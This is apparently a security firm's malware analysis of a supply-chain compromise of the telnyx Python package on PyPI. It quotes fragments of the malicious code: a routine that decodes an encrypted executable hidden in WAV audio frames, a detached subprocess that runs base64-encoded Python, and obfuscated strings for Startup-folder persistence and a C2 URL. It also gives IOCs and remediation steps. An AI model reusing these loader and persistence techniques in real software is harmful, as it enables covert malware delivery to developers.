Executive Summary
Malicious releases of telnyx (4.87.1, 4.87.2) were published to PyPI in a supply chain compromise of the official Telnyx Python SDK, a widely-used communications platform library.
The payload executes at import time, drops a persistent executable into the Windows Startup folder disguised as msbuild.exe, and retrieves an XOR-encrypted binary hidden inside a WAV audio file fetched from a remote C2. On non-Windows systems, a detached Python subprocess executes a secondary base64-encoded payload. The legitimate SDK symbols are re-exported to avoid raising suspicion in developer environments.
Key Judgments
- Is this a typosquat? No. This is a compromise of the official
telnyxpackage, not an impersonator. - What is unique? The use of WAV steganography to deliver the final payload is an uncommon evasion technique in PyPI malware.
- Who is at risk? Any developer or CI pipeline that ran
pip install telnyxor upgraded to 4.87.1/4.87.2 during the exposure window. - Was this preventable? Yes, with behavioural diff tooling that flags install-time execution, outbound beaconing, and obfuscated strings in new releases.
Who is TeamPCP?
This compromise is the latest in an escalating campaign by TeamPCP (also tracked as PCPcat, ShellForce, CipherForce), a threat actor group targeting cloud-native infrastructure and developer tooling since late 2025. Their playbook is consistent: compromise one target, harvest credentials, and chain forward into the next.
Timeline
| Date | Event | Detail |
|---|---|---|
| Feb 27 | Trivy initial compromise | TeamPCP exploits a GitHub Actions misconfiguration to steal a service account PAT |
| Mar 1 | Aqua disclosure | Credentials rotated, but a write-access token survives |
| Mar 19 | Trivy supply chain attack | Malicious tags force-pushed across trivy-action and setup-trivy. Backdoored binaries distributed via Docker Hub, GHCR, and ECR |
| Mar 22 | Secondary Docker push | Malicious images v0.69.5 and v0.69.6 pushed to Docker Hub. C2 infrastructure goes active |
| Mar 23-24 | KICS compromised | Checkmarx OpenVSX extension hijacked via stolen credentials |
| Mar 24 | LiteLLM compromised | PyPI versions 1.82.7, 1.82.8 published using tokens harvested from Trivy CI/CD. C2 uses Telnyx infrastructure |
| Mar 27 | Telnyx SDK compromised | Ossprey detects malicious PyPI versions 4.87.1, 4.87.2 - this post |
The pattern is clear: each compromise feeds credentials into the next. Trivy’s CI/CD exposed tokens for LiteLLM. LiteLLM’s infrastructure overlaps with Telnyx. This is not a one-off incident - it is a cascading supply chain campaign, and it is still developing.
For our full analysis of the Trivy incident, see our earlier post: Trivy Supply Chain Attack
Technical Breakdown
Execution Vector
The malicious code is injected into the package entry point and runs at import time via calls to Setup() and FetchAudio() appended after the legitimate SDK exports.
String Obfuscation
All sensitive strings are base64-encoded and decoded at runtime via a _d() helper function, bypassing naive string-based static analysis.
| Encoded | Decoded |
|---|---|
QVBQREFUQQ== | APPDATA |
TWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVw | Microsoft\Windows\Start Menu\Programs\Startup |
bXNidWlsZC5leGU= | msbuild.exe |
aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg== | hxxp://83[.]142[.]209[.]203:8080/hangup.wav |
VXNlci1BZ2VudA== | User-Agent |
TW96aWxsYS81LjA= | Mozilla/5.0 |
Windows Dropper - Setup()
Triggers only on Windows (os.name == 'nt'). The routine:
- Targets the Startup folder for persistence on every user login, dropping a payload named
msbuild.exeto masquerade as a legitimate Microsoft binary:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe
-
Anti-reinfection lock: Writes a hidden
.lockfile viaattrib +h. If the lock file is under 12 hours old (43,200 seconds), the routine exits - a basic sandbox and re-execution deterrent. -
C2 retrieval: Fetches
hangup.wavfromhxxp://83[.]142[.]209[.]203:8080/hangup.wavusing a spoofedMozilla/5.0User-Agent to blend with browser traffic. The payload is extracted via WAV steganography (see below). -
Silent execution: The decrypted binary is launched with
creationflags=0x08000000(CREATE_NO_WINDOW), leaving no visible window. -
Cleanup: The temporary
.tmpfile is deleted after extraction.
WAV Steganography - Hiding an Executable in Audio
The standout technique in this sample - and the reason for the post title - is the use of audio steganography to deliver the final payload. Rather than hosting a raw executable or a base64 blob on the C2 (both of which are trivially flagged by network inspection and EDR), the attacker wraps the payload inside a .wav file.
The file hangup.wav is a structurally valid WAV container. It will open in an audio player without error. But the audio frame data is not sound - it is a base64-encoded, XOR-encrypted PE executable.
The extraction routine uses Python’s built-in wave module:
with wave.open(t, 'rb') as w:
b = base64.b64decode(w.readframes(w.getnframes()))
s, m = b[:8], b[8:]
payload = bytes([m[i] ^ s[i % len(s)] for i in range(len(m))])
with open(p, "wb") as f:
f.write(payload)
Step by step:
w.readframes(w.getnframes())reads the raw audio sample data from all frames in the WAV filebase64.b64decode()decodes the frame bytes from base64, revealing an encrypted blob- The first 8 bytes (
s) are split off as the XOR key - The remaining bytes (
m) are the ciphertext - Each byte of the ciphertext is XORed with the corresponding key byte (cycling every 8 bytes) to produce the final PE executable
Why this matters:
- Network evasion: The HTTP response carries a valid
.wavfile with an audio MIME type. Content-type inspection, proxy filters, and basic DPI will not flag it - Static analysis resistance: The payload never exists in plaintext on disk until the final write. The WAV file itself looks benign
- Low tooling overhead: The entire decryption chain uses only Python standard library modules (
wave,base64) - no third-party dependencies that might raise suspicion - Dual purpose naming: The filename
hangup.wavreinforces the illusion that this is a legitimate audio asset, particularly given that Telnyx is a communications/telephony platform
The C2 server at 83[.]142[.]209[.]203:8080 is now offline. We were unable to retrieve the WAV file for further analysis of the embedded executable.
Non-Windows Payload - FetchAudio()
On Linux and macOS, a fully detached subprocess executes a base64-encoded Python payload:
subprocess.Popen(
[sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True
)
The _p variable contains the secondary payload and was not included in the analysed sample. Full package extraction is required for complete analysis.
SDK Masquerade
Client = Telnyx
AsyncClient = AsyncTelnyx
Legitimate SDK symbols are re-exported after the malicious routines run, making the package appear fully functional to developers who spot-check imports.
OS Targeting
Primary focus is Windows developer and CI environments via the Startup dropper. Linux and macOS systems receive a secondary Python-based payload. Both paths activate at import time with no user interaction required.
What Should You Do
- Triage & Contain - Audit
pip freezeandrequirements.txtacross all environments. Iftelnyx==4.87.1ortelnyx==4.87.2is present, treat the environment as compromised. Pin to a known-good prior version (4.86.x or earlier) and rebuild images. - Hunt for the Dropper - Check for
msbuild.exein%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\. This is never a legitimate location for msbuild. Also check for the accompanying.lockand.tmpfiles. - Rotate Credentials - Any environment where the affected versions were imported must have credentials rotated, including but not limited to:
- Telnyx API keys
- Any secrets accessible to the Python process at runtime
- Cloud credentials (AWS/Azure/GCP) if present in the environment
- CI/CD secrets and tokens
- Block the C2 - Firewall
83[.]142[.]209[.]203immediately and hunt for outbound HTTP connections to port 8080 at this IP across your estate. - Report - Notify PyPI security at security@pypi.org. Notify Telnyx directly so they can issue an advisory and publish a clean release.
- Strengthen Publisher Hygiene - Enforce MFA on PyPI accounts, use scoped short-lived publish tokens, and run behavioural diff tooling on new releases before they reach consumers.
Affected Versions
| Package | Version(s) |
|---|---|
| telnyx | 4.87.1, 4.87.2 |
Pin to 4.86.x or earlier until Telnyx confirms a clean release.
IOCs
- Affected Package:
telnyxv4.87.1, v4.87.2 - C2 Server:
83[.]142[.]209[.]203:8080 - C2 Resource:
hxxp://83[.]142[.]209[.]203:8080/hangup.wav - Dropped File:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe - Lock File:
...Startup\msbuild.exe.lock - Temp File:
...Startup\msbuild.exe.tmp - Spoofed User-Agent:
Mozilla/5.0
SHA-256 Hashes (Malicious Artifacts)
telnyx-4.87.1-py3-none-any.whl-7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9telnyx-4.87.2-py3-none-any.whl-cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3
MITRE ATT&CK
| ID | Technique |
|---|---|
| T1195.001 | Supply Chain Compromise: Compromise Software Supply Chain |
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| T1027 | Obfuscated Files or Information |
| T1036.005 | Masquerading: Match Legitimate Name or Location |
| T1071.001 | Application Layer Protocol: Web Protocols |
| T1027.003 | Obfuscated Files or Information: Steganography |
| T1059.006 | Command and Scripting Interpreter: Python |